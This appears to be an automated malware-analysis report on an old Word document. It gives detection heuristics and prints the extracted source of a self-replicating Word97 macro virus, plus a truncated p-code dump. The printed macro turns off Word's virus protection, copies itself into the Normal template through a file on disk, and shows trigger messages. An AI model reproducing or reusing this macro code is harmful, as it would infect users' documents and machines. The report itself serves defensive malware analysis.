MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close functions, indicating a self-replicating macro. The script attempts to export its code to 'c:\tie.sys' and then inject it into the Normal template and other documents, a common technique for macro virus propagation. The presence of legacy markers and the nature of the script suggest an older macro virus variant.
Heuristics 5
-
ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-36
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9020 bytes |
SHA-256: 79a30323df1b711f5c12c51ded558106414d36250306d7671fafa967e4f7226d |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-24
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo 73
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ties = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
tier = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If tier > 76 And ties > 0 Then GoTo 73
If tier < 76 Then
Set tvir = NormalTemplate.VBProject.VBComponents.Item(1)
ActiveDocument.VBProject.VBComponents.Item(1).Name = tvir.Name
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\tie.sys"
End If
If ties = 0 Then Set tvir = ActiveDocument.VBProject.VBComponents.Item(1)
Infection = Int(Rnd * 100)
If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(84) + Chr(105) + Chr(69) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)
If Day(Now) = 1 And (Month(Now) > 1) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)
tvir.codemodule.AddFromFile ("c:\tie.sys")
With tvir.codemodule
For x = 1 To 4
.deletelines 1
Next x
End With
If tier < 76 Then
With tvir.codemodule
.replaceline 1, "Sub AutoClose()"
.replaceline 81, "Sub ToolsMacro()"
.replaceline 29, "If Day(Now) = 1 And (Month(Now) > 1) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)"
.replaceline 31, "Infection = Int (Rnd *100)"
.replaceline 33, "If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(84) + Chr(105) + Chr(69) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)"
End With
End If
With tvir.codemodule
For x = 2 To 78 Step 2
.replaceline x, "'Word97/Tie by Virus" & Application.ActiveWindow
Next x
End With
73:
If tier > 76 And ties = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ViewVBCode()
End Sub
' Processing file: /opt/analyzer/scan_staging/5c475abdef2c4ac59ad60c06e555df95.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4625 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' OnError 73
' Line #3:
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #5:
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #7:
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #9:
' Line #10:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ties
' Line #11:
' Line #12:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St tier
' Line #13:
' Line #14:
' Ld tier
' LitDI2 0x004C
' Gt
' Ld ties
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo 73
' EndIf
' Line #15:
' Line #16:
' Ld tier
' LitDI2 0x004C
' Lt
' IfBlock
' Line #17:
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set tvir
' Line #19:
' Line #20:
' Ld tvir
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #21:
' Line #22:
' LitStr 0x000A "c:\tie.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Ite
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.